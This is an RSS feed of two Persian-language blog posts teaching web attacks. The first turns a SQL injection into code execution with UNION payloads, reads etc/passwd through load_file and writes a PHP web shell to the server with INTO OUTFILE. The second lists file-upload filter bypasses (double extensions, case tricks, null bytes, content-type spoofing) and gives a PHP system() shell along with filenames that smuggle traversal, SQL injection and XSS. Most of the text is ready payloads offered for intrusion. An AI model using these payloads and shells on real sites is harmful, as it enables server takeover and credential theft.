<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"><channel><title>نوشته های ina§</title><link>https://virgool.ir/feed/@zeroisanon</link><description></description><language>fa</language><pubDate>2026-11-11 04:49:27</pubDate><image><url>https://files.virgool.ir/upload/users/476043/avatar/wXsIQG.jpeg</url><title>ina§</title><link>https://virgool.ir/@zeroisanon</link></image><item><title>تبدیل باگ SQL injection به RCE</title><link>https://virgool.ir/@zeroisanon/تبدیل-باگ-sql-injection-به-rce-rwbe4yumn64d</link><description>باگ SQL injection که حاصل از پردازش غیرایمن در پارامتر های ورودی وبسایت است را میتوان به باگ rce یا همان arbitrary code execution تبدیل کرد.مثال باگSQLsite.com/products.php?id=3&#39;order by 2--+تبدیل این باگ به RCE به ما امکان اجرای کد های مخرب در سرور را میدهد. اولین  قدم پیدا کردن ستون آسیب پذیر است.site.com/products.php?id=3&#39; order by n--+به جای n اعداد طبیعی را قرار میدهیم تا جایی که به بزرگترین عددی که بدون خطا محتوا را لود میکند برسیماستفاده از یکی از روش های SQL injection بطور مثال UNION BASE :site.com/products.php?id=-3&#39; union select 1,2,3,4,5--+بطور مثال در اینجا  ستون آسیب پذیر دو است.دریافت نام دیتابیس فعلیsite.com/products.php?id=-3&#39; union select 1,database(),3,4,5--+اجرای اولین دستور بر روی شل سرور:دستور لود فایل در اینجا فایلی را که حاوی پسورد یوزر های سرور است را در می آورد.نکته: دسترسی وبسایت تارگت در اینجا اهمیت بالایی دارد.site.com/products.php?id=-3&#39; union select 1,load_file(&#34;etc/passwd&#34;),3,4,5--+ایجاد فایل بر روی سرور:در این مرحله  دستورات کمی تغییر می کنند:site.com/products.php?id=-3&#39; union select 1,&#34;@injection&#34;,3,4,5 INTO OUTFILE &#34;/tmp/injection&#34;--+مرحله دوم:site.com/products.php?id=-3&#39; union select 1,&#34;&lt;?php $cmd = $_GET[\`injection\`]; echo system ($cmd); ?&gt;&#34;,3,4,5 INTO OUTFILE &#34;/home/$path/shell.php&#34;--+</description><category>ina§</category><author>ina§</author><pubDate>Fri, 18 Dec 2020 20:01:11 +0330</pubDate></item><item><title>Remote file upload</title><link>https://virgool.ir/@zeroisanon/bugrfu-pomrrqzbzmfk</link><description>۹باگ rfu یا همان Remote file upload به معنی آپلود فایل های غیرمجاز به سرور در جهت دستیابی به دسترسی کامل به سرور می باشد. این باگ از آنجایی به وجود می آید که برنامه نویس و توسعه دهنده های پلتفرم، مجاز بودن فایل آپلودی توسط کاربر را بررسی نمیکنند و یا اینکه تمامی فرد نفوذگر با دور زدن validation های وبسایت فایل مخرب یا شل را آپلود میکند.بطور عمده محدودیت ها و روش هایی که توسعه دهندگان در جهت جلوگیری از آپلود فایل غیر مجاز استفاده میکنند عبارتند از : 1 - blacklist در این روش لیستی از پسوند ( extension) های غیر مجاز را سرور بررسی میکند..php,.asp,.روش بایپس:Double extension: shell.php capital letter: shell.pHP, shell.aSpSemicolon : shell.php;.jpgBackslash : test.php/2- white listدر این روش برخلاف روش قبل سرور بررسی میکند که پسوند فایل یکی از پسوند های مجاز باشد بطور مثال در قسمت آپلود عکس برای پروفایل کاربری سرور یکی از extension های زیر را قبول میکند Jpg png  gif jpeg, ...روش بایپس:Double extension:shell.png.phpNull byte: image.php .png3 - Content-type validationشناسه فایل در صورتی که image/jpeg باشد اجازه آپلود داده میشود در غیر این صورت ، برای آپلود فایل دسترسی داده نمیشود .روش بایپس: ابتدا درخواست را شنود میکنیم و پیش از ارسال به سرور شناسه را به شناسه مجاز تغییر میدهیم.4.content lenth Validationحجم فایل آپلودی محدود میشود و در صورتی که بالاتر از حجم مورد نظر بطور مثال ۱۰۰ کیلوبایت باشد آپلود صورت نمیگیرد.روی بایپس: با یک پیلود ساده این مشکل برطرف میشود : &lt;?php&#xA;if($_GET[‘c’]) {&#xA;system($_GET[‘c’]);&#xA;}&#xA;?&gt;در اکثر مواقع سرور ترکیبی از این بررسی های امنیتی را انجام میدهد و ما باید انواع بایپس ها را امتحان‌کنیم.همچنین امکان تبدیل باگ rfu به چندین باگ دیگر نیز وجود دارد : با نام‌گذاری فایل بصورت ../../logo.pngباگ Directory traversal پدید می آید .sleep(10).jpg     SQL injection &lt;svg =alert(document.domain)&gt; XSS</description><category>ina§</category><author>ina§</author><pubDate>Thu, 17 Dec 2020 18:22:07 +0330</pubDate></item></channel></rss>